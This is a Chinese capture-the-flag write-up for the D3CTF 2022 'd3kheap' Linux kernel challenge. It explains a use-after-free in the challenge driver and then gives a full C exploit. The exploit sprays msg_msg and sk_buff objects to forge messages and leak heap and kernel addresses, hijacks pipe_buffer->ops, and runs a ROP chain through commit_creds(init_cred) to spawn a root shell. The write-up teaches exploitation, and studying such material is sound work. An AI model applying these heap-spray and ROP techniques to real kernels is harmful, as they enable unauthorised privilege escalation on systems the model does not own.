0%

[D^3CTF 2022] d3kheap peiwithhao的WriteUp

2023-09-21 15:50By
peiwithhao
PWN其他kernelUAF

1. 题目逆向

首先查看其中运行脚本

开启smep、smap、kaslr、pti,双核双线程、monitor置为null

然后我们再查看出题者贴心的提供给我们的内核配置信息

# D3CTF2022 - d3kheap baby heap in kernel space, just sign me in plz :) Here are some kernel config options you may need ``` CONFIG_STATIC_USERMODEHELPER=y CONFIG_STATIC_USERMODEHELPER_PATH="" CONFIG_SLUB=y CONFIG_SLAB_FREELIST_RANDOM=y CONFIG_SLAB_FREELIST_HARDENED=y CONFIG_HARDENED_USERCOPY=y ```

我们发现其中开启了

CONFIG_SLAB_FREELIST_RANDOM=y CONFIG_SLAB_FREELIST_HARDENED=y

其中一个时freelist指针对特定值的异或还有其中分布的随机化

这一手配置,风雨不透啊

然后我们通过文件系统的init脚本可以得知插入了一个d3kheap.ko驱动模块,此时我们基本可以判定漏洞出自于他,接下来咱们继续分析

题目给出的漏洞十分简洁,a3师傅本意是为了使得大家更加专注于漏洞利用,而不是纯粹的逆向代码分析,这点倒是同用户态相反

我们可以通过ioctl来申请一个1k的块,然后我们有着两次kfree的机会,且存在UAF,那么就是这样一个十分明显的漏洞,我们的重心得以转到如何去利用它这点

2.socketpair基础知识

该系统调用通常被用来进行Linux网络编程,个人感觉有点类似于进程间通信的pipe,同样都是进行通信,但是socketpair支持全双工通信

他的使用也同pipe类似,通过传入一个大小为2的数组来分别作为读写fd指针,其调用如下:

SYSCALL_DEFINE4(socketpair, int, family, int, type, int, protocol, int __user *, usockvec) { return __sys_socketpair(family, type, protocol, usockvec); }

这里仅仅给出系统调用的声明部分

3.sk_buff基础知识

他被多次应用于网络消息传递的过程中,其中在我们读写上面的socketpair的时候同样会用到,我们来查看一下他的结构体内容,也由于太长我就不放太多

struct sk_buff { union { struct { /* These two members must be first. */ struct sk_buff *next; struct sk_buff *prev; union { struct net_device *dev; /* Some protocols might use this space to store information, * while device pointer would be NULL. * UDP receive path is one user. */ unsigned long dev_scratch; }; }; struct rb_node rbnode; /* used in netem, ip4 defrag, and tcp stack */ struct list_head list; }; /* These elements must be at the end, see alloc_skb() for details. */ sk_buff_data_t tail; sk_buff_data_t end; unsigned char *head, *data; unsigned int truesize; refcount_t users; #ifdef CONFIG_SKB_EXTENSIONS /* only useable after checking ->active_extensions != 0 */ struct skb_ext *extensions; #endif };
  • next:用作同其他sk_buff进行链接,就如同msg_msg一样类似
  • prev:同上
  • tail:指向数据区中实际数据结束的地方
  • end:指向数据区中结束的地方(这里是非实际的,具体在下面讲解)
  • head:指向数据区中开始的地方(非实际)
  • data:指向数据区中实际数据开始的地方

当我们利用上面的系统调用进行write的时候,也就是发送包的过程,就会调用其中的一个函数 alloc_skb

/** * alloc_skb - allocate a network buffer * @size: size to allocate * @priority: allocation mask * * This function is a convenient wrapper around __alloc_skb(). */ static inline struct sk_buff *alloc_skb(unsigned int size, gfp_t priority) { return __alloc_skb(size, priority, 0, NUMA_NO_NODE); }

这里主要是调用 __alloc_skb,我们继续查看

/* Allocate a new skbuff. We do this ourselves so we can fill in a few * 'private' fields and also do memory statistics to find all the * [BEEP] leaks. * */ /** * __alloc_skb - allocate a network buffer * @size: size to allocate * @gfp_mask: allocation mask * @flags: If SKB_ALLOC_FCLONE is set, allocate from fclone cache * instead of head cache and allocate a cloned (child) skb. * If SKB_ALLOC_RX is set, __GFP_MEMALLOC will be used for * allocations in case the data is required for writeback * @node: numa node to allocate memory on * * Allocate a new &sk_buff. The returned buffer has no headroom and a * tail room of at least size bytes. The object has a reference count * of one. The return is the buffer. On a failure the return is %NULL. * * Buffers may only be allocated from interrupts using a @gfp_mask of * %GFP_ATOMIC. */ struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask, int flags, int node) { struct kmem_cache *cache; struct sk_buff *skb; u8 *data; bool pfmemalloc; cache = (flags & SKB_ALLOC_FCLONE) ? skbuff_fclone_cache : skbuff_head_cache; ... else skb = kmem_cache_alloc_node(cache, gfp_mask & ~GFP_DMA, node); if (unlikely(!skb)) return NULL; prefetchw(skb); /* We do our best to align skb_shared_info on a separate cache * line. It usually works because kmalloc(X > SMP_CACHE_BYTES) gives * aligned memory blocks, unless SLUB/SLAB debug is enabled. * Both skb->head and skb_shared_info are cache line aligned. */ size = SKB_DATA_ALIGN(size); size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info)); data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc); ... }

我们重点关注以上代码,我们知道当我们分配这个 struct sk_buff结构体的时候,他会从自带的cache当中分配,但是当我们分配数据部分的时候,他会调用 kmalloc_reserve进行分配,该函数则会从通用的kmem_cache当中申请,这里他的大小会首先进行对齐然后加上一个 struct skb_shared_info大小的结构体,然后再进行分配,该结构体大小为320字节

所以我们的一个大致 sk_buff + data的分配情况如下:

而当我们释放的时候只需要调用read读取相应通道包即可。

4.漏洞利用

我们首先可以利用题目中的ioctl来分配一个1k大小的空间,然后直接释放他了再接着分配一个大小为 1k的 msg_msg结构体,他就作为本次题目当中的 victim,但是经过测试在释放过后紧接着分配0x400的msg_msg并不能立刻获取刚刚free掉的kheap块,这一点我在最开始思考的时候也很不解,然后发现有师傅已经提前问了这个问题,据出题者a3师傅所言

而我考虑到本题环境是双核双线程,所以我又在启动脚本改为单核单线程后尝试仍然不能立刻分配,这里还存在一定疑问:(

所以由于我们现在并不能知道 哪个msg_queue中的 msg_msg分配到了刚刚free掉的堆块,所以我们需要堆喷 msg_queue,然后再设法找到其中的 victim_msg_queue

这里我们利用到 CVE-2021-22555的思路,构造一个主从 msg_msg,如下:

我们在每个 msg_queue链条上面分配出一个主msg_msg(96)和一个从msg_msg(0x400,同体中所给kheap在同一kmem_cache当中取),这里构造成这样是为了之后能通过他读取 victim msg_msg's addr

然后我们再一次用掉题目中所给出的free机会,我们利用刚刚讲到的 sk_buff,堆喷 sk_buff来试图分配到之前释放掉的kheap,但是此时上面仍存在着msg_msg,因此我们可以填入虚假信息,然后读取每一个 msg_msg,如果读取失败则说明找到了对应的 victim msg_msg

当我们找到了对应堆块后,我们可以修改他的 m_ts来造成越界读,我们此时可以读取该 msg_msg相邻的 msg_msg,这里相邻是因为之前我们进行了大量的堆喷,所以这里基本上是存在着相邻情况,当然不排除小概率情形。

首先我们需要知道每个 msg_queue中,msg_msg之间以及头都是靠着双链表进行链接的,也就是 struct msg_msg->list_head->*相连

所以我们可以越界读相邻从 msg_msg的prev指针,该指针指向的是该相邻主 msg_msg的所在的地方,因此我们之后再将 victim msg_msg->next指针修改成他,这样我们就可以成功泄露出相邻从 msg_msg的首地址,然后我们将其首地址减去0x400就得到了我们的 victim msg_msg的地址

知道了我们 victim msg_msg的虚拟地址之后,我们考虑再使用一个结构体,那就是较为流行的 pipe_buffer,该结构体默认首先分配一个大小为0x400的 pipe_buffers数组,而 struct pipe_buffer上又存在着内核基地址,因此我们可以泄露他并且修改 pipe_buffer->ops函数表,因为我们目前掌握着一个内核堆地址并且可以通过不断释放和堆喷 sk_buff来修改他,所以我们可以很容易的伪造这个函数表,当我们关闭管道两端,他就会调用 pipe_buffer->ops->release函数,我们就可以按照正常ROP来完成提权

最终exp如下:

define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <linux/mount.h> #include <unistd.h> #include <fcntl.h> #include <sched.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sched.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/socket.h> #include <sys/ioctl.h> #define SK_QUEUE_NR 0x10 #define SK_BUFF_NR 0x80 #define MSG_QUEUE_NR 4096 #define MSG_TAG 0xDEADBEEF #define PIPE_SPRAY_NR 0x80 #define MASTER_MSG_SZ 96 #define MASTER_MSG_TYPE 0x41 #define SERVANT_MSG_SZ 0x400 #define SERVANT_MSG_TYPE 0x42 #define VICTIM_MSG_TYPE 0xC0DE #define ALLOC_FLAG 0x1234 #define FREE_FLAG 0xDEAD #define ANON_PIPE_BUF_OPS 0xffffffff8203fe40 #define INIT_CRED 0xffffffff82c6d580 #define PUSH_RSI_POP_RSP_POP4_RET 0xffffffff812dbede #define POP_RDI_RET 0xffffffff810938f0 #define COMMIT_CREDS 0xffffffff810d25c0 #define SWAPGS_RESTORE_REGS_AND_RETRUN_TO_USERMODE 0xffffffff81c00ff0 char fake_servant_msg[704]; /* sk_buff need include a tail, so the size(1024 - 320) should be set for the buff */ int dev_fd; /* using by filesystem */ struct msg_msg{ void* m_next; void* m_prev; long m_type; size_t m_ts; size_t next; size_t security; }; struct msg_msgseg{ size_t *next; }; struct { long mtype; char mtext[SERVANT_MSG_SZ - sizeof(struct msg_msg)]; }servant_msg; struct { long mtype; char mtext[MASTER_MSG_SZ - sizeof(struct msg_msg)]; }master_msg; struct { long mtype; char mtext[0x2000 - sizeof(struct msg_msg) - sizeof(struct msg_msgseg)]; }oob_msg; struct pipe_buffer { size_t page; unsigned int offset, len; size_t ops; unsigned int flags; unsigned long private; }; struct pipe_buf_operations{ size_t confirm; size_t release; size_t try_steal; size_t get; }; /* to run the exp on the specific core only */ void bind_cpu(int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); } /* * save the process current context * */ size_t user_cs, user_ss,user_rflags,user_sp; void saveStatus(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m Status has been saved . \033[0m"); } #define PRINT_ADDR(str, x) printf("\033[0m\033[1;34m[+]%s \033[0m:0x%lx\n", str, x) void info_log(char* str){ printf("\033[0m\033[32m[+]%s\033[0m\n",str); } void error_log(char* str){ printf("\033[0m\033[1;31m[-]%s\033[0m\n",str); exit(1); } long get_msg(void){ return msgget(IPC_PRIVATE, 0666 | IPC_CREAT); } long send_msg(int msqid, void* msgp, size_t msgsz, long msgtyp){ ((struct msgbuf *)msgp)->mtype = msgtyp; return msgsnd(msqid, msgp, msgsz - sizeof(long), 0); } long recv_msg(int msqid, void* msgp, size_t msgsz, long msgtyp){ return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0); } long copy_msg(int msqid, void* msgp, size_t msgsz, long msgtyp){ return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); } void alloc(){ ioctl(dev_fd, ALLOC_FLAG, 0); } void delete(){ ioctl(dev_fd, FREE_FLAG, 0); } void spray_skb(int skb_queue[SK_QUEUE_NR][2], void *buffer, size_t size){ for(int i = 0; i < SK_QUEUE_NR; i++){ for(int j = 0; j < SK_BUFF_NR; j++){ if(write(skb_queue[i][0], buffer, size) < 0){ error_log("Spraying sk_buff failed!"); } } } } void free_skb(int skb_queue[SK_QUEUE_NR][2], void *buffer, size_t size){ for(int i= 0; i < SK_QUEUE_NR; i++){ for(int j = 0; j < SK_BUFF_NR; j++){ if(read(skb_queue[i][1], buffer, size) < 0){ error_log("Free sk_buff failed!"); } } } } void build_msg(struct msg_msg* builded_msg, void* m_next, void* m_prev, long mtype, size_t m_ts, size_t next){ builded_msg->m_next = m_next; builded_msg->m_prev = m_prev; builded_msg->m_type = mtype; builded_msg->m_ts = m_ts; builded_msg->next = next; builded_msg->security = 0; } void get_rootshell(){ if(getuid()){ error_log("Priviledge elevation failed!"); } system("/bin/sh"); exit(0); } void main(){ int skb_queue[SK_QUEUE_NR][2]; int msg_queue[MSG_QUEUE_NR]; int pipe_fd[PIPE_SPRAY_NR][2]; int victim_qidx = -1; size_t victim_addr; struct msg_msg nearby_msg, nearby_master_msg; struct pipe_buffer *pipe_buffer_ptr; size_t *ROPchain; size_t ropchain_idx; struct pipe_buf_operations *ops_ptr; size_t kernel_base, page_offset_base, kernel_offset, guess_page_offset; info_log("Step I:Preserve the process context and bind one core... "); bind_cpu(0); saveStatus(); info_log("Step II:Spray the sk_queue and msg_queue..."); for(int i = 0; i < SK_QUEUE_NR; i++){ if(socketpair(AF_UNIX, SOCK_STREAM, 0, skb_queue[i]) < 0){ error_log("Allocate the socket_queue failed!"); } } for(int i = 0; i < MSG_QUEUE_NR; i++){ if((msg_queue[i] = get_msg()) < 0){ error_log("Allocate the msg_queue failed!"); } } dev_fd = open("/dev/d3kheap", O_RDONLY); alloc(); info_log("Step III:Construct the UAF..."); memset(&master_msg, 0, sizeof(master_msg)); memset(&servant_msg, 0, sizeof(servant_msg)); for(int i = 0; i < MSG_QUEUE_NR; i++){ /* Allocate the master msg_msg */ *(int *)&master_msg.mtext[0] = MSG_TAG; *(int *)&master_msg.mtext[4] = i; if(send_msg(msg_queue[i], &master_msg, sizeof(master_msg), MASTER_MSG_TYPE) < 0){ error_log("Allocate the master msg_msg failed!"); } /* Allocate the servant msg_msg */ *(int *)&servant_msg.mtext[0] = MSG_TAG; *(int *)&servant_msg.mtext[4] = i; if(send_msg(msg_queue[i], &servant_msg, sizeof(servant_msg), SERVANT_MSG_TYPE) < 0){ error_log("Allocate the servant msg_msg failed!"); } /* First free the d3kheap object */ if(i == 1024) delete(); } info_log("Step IV:Search for the UAF msg_msg..."); /* Second free the d3kheap object */ delete(); build_msg((struct msg_msg *)fake_servant_msg, (void *)"peiwithhao", (void*)"peiwithhao", *(long *)"peiwithhao", SERVANT_MSG_SZ, 0); spray_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg)); for(int i = 0; i < MSG_QUEUE_NR; i++){ if(copy_msg(msg_queue[i], &servant_msg, sizeof(servant_msg), 1) < 0){ victim_qidx = i; break; } } if(victim_qidx == -1){ error_log("You have not found the victim msg_msg queue idx:(..."); } printf("[+]the victim msg_msg idx is :%d\n", victim_qidx); free_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg)); info_log("Step V:Overread the victim msg_msg's nearby servant msg_msg"); build_msg((struct msg_msg *)fake_servant_msg, (void *)"peiwithhao", (void *)"peiwithhao", VICTIM_MSG_TYPE, 0x1000 - sizeof(struct msg_msg), 0); spray_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg)); /* We could oob read the next nearby servant msg_msg */ if(copy_msg(msg_queue[victim_qidx], &oob_msg, sizeof(oob_msg), 1) < 0){ error_log("OOB read failed!"); } /* * check the memory * for(int i = 0; i < 0x10; i++){ printf("[--- memory dump ---](%2d)0x%x\n", i, *(int *)&oob_msg.mtext[0x400 + i*4]); } */ if(*(int *)&oob_msg.mtext[0x400] != MSG_TAG){ error_log("Unfortunatally! The nearby object had already been occupied!"); } nearby_msg = *(struct msg_msg*)&oob_msg.mtext[SERVANT_MSG_SZ - sizeof(struct msg_msg)]; guess_page_offset = (size_t)(nearby_msg.m_next)&(0xfffffffff0000000); PRINT_ADDR("guess page_offset_base", guess_page_offset); /* * Find the victim msg_msg addr * */ info_log("Step VI:Get the victim msg_msg addr through nearby servant msg_msg..."); free_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg)); build_msg((struct msg_msg *)fake_servant_msg, (void *)"peiwithhao", (void *)"peiwithhao", VICTIM_MSG_TYPE, sizeof(oob_msg.mtext), (size_t)(nearby_msg.m_prev) - 8); spray_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg)); if(copy_msg(msg_queue[victim_qidx], &oob_msg, sizeof(oob_msg), 1) < 0){ error_log("Cannot find the nearby master msg_msg..."); } if(*(int *)&oob_msg.mtext[0x1000] != MSG_TAG){ error_log("Unfortunatally! The nearby object had already been occupied!"); } nearby_master_msg = *(struct msg_msg*)&oob_msg.mtext[0x1000 - sizeof(struct msg_msg)]; PRINT_ADDR("nearby msg_msg addr", (size_t)nearby_master_msg.m_next); victim_addr = (size_t)nearby_master_msg.m_next - 0x400; PRINT_ADDR("victim_addr", victim_addr); /* * Construct the UAF sk_buff * */ info_log("Step VII:Fix the msg_msg and free it, so we get the uaf sk_buff..."); memset(&fake_servant_msg, 0, sizeof(fake_servant_msg)); free_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg)); build_msg((struct msg_msg*)fake_servant_msg, (void *)victim_addr + 0x800 , (void *)victim_addr + 0x800, VICTIM_MSG_TYPE, SERVANT_MSG_TYPE - sizeof(struct msg_msg), 0); spray_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg)); if(recv_msg(msg_queue[victim_qidx], &servant_msg, sizeof(servant_msg), VICTIM_MSG_TYPE) < 0){ error_log("unlink the victim servant msg_msg failed!"); } info_log("Step VIII:Make the pipe_buf with sk_buff in victim 1k object..."); for(int i = 0; i < PIPE_SPRAY_NR; i ++){ if(pipe(pipe_fd[i]) < 0){ error_log("Allocate the pipe failed!"); } if(write(pipe_fd[i][1], "peiwithhao", 10) < 0){ error_log("Write to the pipe failed!"); } } pipe_buffer_ptr = (struct pipe_buffer *)&fake_servant_msg; for(int i= 0; i < SK_QUEUE_NR; i++){ for(int j = 0; j < SK_BUFF_NR; j++){ if(read(skb_queue[i][1], &fake_servant_msg, sizeof(fake_servant_msg)) < 0){ error_log("Free sk_buff failed!"); } if(pipe_buffer_ptr->ops > 0xffffffff81000000){ kernel_offset = pipe_buffer_ptr->ops - ANON_PIPE_BUF_OPS; kernel_base = 0xffffffff81000000 + kernel_offset; } } } PRINT_ADDR("kernel_base", kernel_base); PRINT_ADDR("kernel_offset", kernel_offset); info_log("Step IX:Hijack the pipe_buffer->ops->release..."); pipe_buffer_ptr = (struct pipe_buffer *)&fake_servant_msg; pipe_buffer_ptr->page = *(size_t *)"peiwithhao"; pipe_buffer_ptr->ops = victim_addr + 0x100; ops_ptr = (struct pipe_buf_operations *)&fake_servant_msg[0x100]; ops_ptr->release = PUSH_RSI_POP_RSP_POP4_RET + kernel_offset; ROPchain = (size_t *)&fake_servant_msg[0x20]; ropchain_idx = 0; ROPchain[ropchain_idx++] = POP_RDI_RET + kernel_offset; ROPchain[ropchain_idx++] = INIT_CRED + kernel_offset; ROPchain[ropchain_idx++] = COMMIT_CREDS + kernel_offset; ROPchain[ropchain_idx++] = SWAPGS_RESTORE_REGS_AND_RETRUN_TO_USERMODE + 22 + kernel_offset; ROPchain[ropchain_idx++] = 0xdeadbeef; ROPchain[ropchain_idx++] = 0xbeefdead; ROPchain[ropchain_idx++] = (size_t)get_rootshell; ROPchain[ropchain_idx++] = user_cs; ROPchain[ropchain_idx++] = user_rflags; ROPchain[ropchain_idx++] = user_sp + 8; ROPchain[ropchain_idx++] = user_ss; spray_skb(skb_queue, fake_servant_msg, sizeof(fake_servant_msg)); for(int i = 0; i < PIPE_SPRAY_NR; i++){ close(pipe_fd[i][0]); close(pipe_fd[i][1]); } }
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论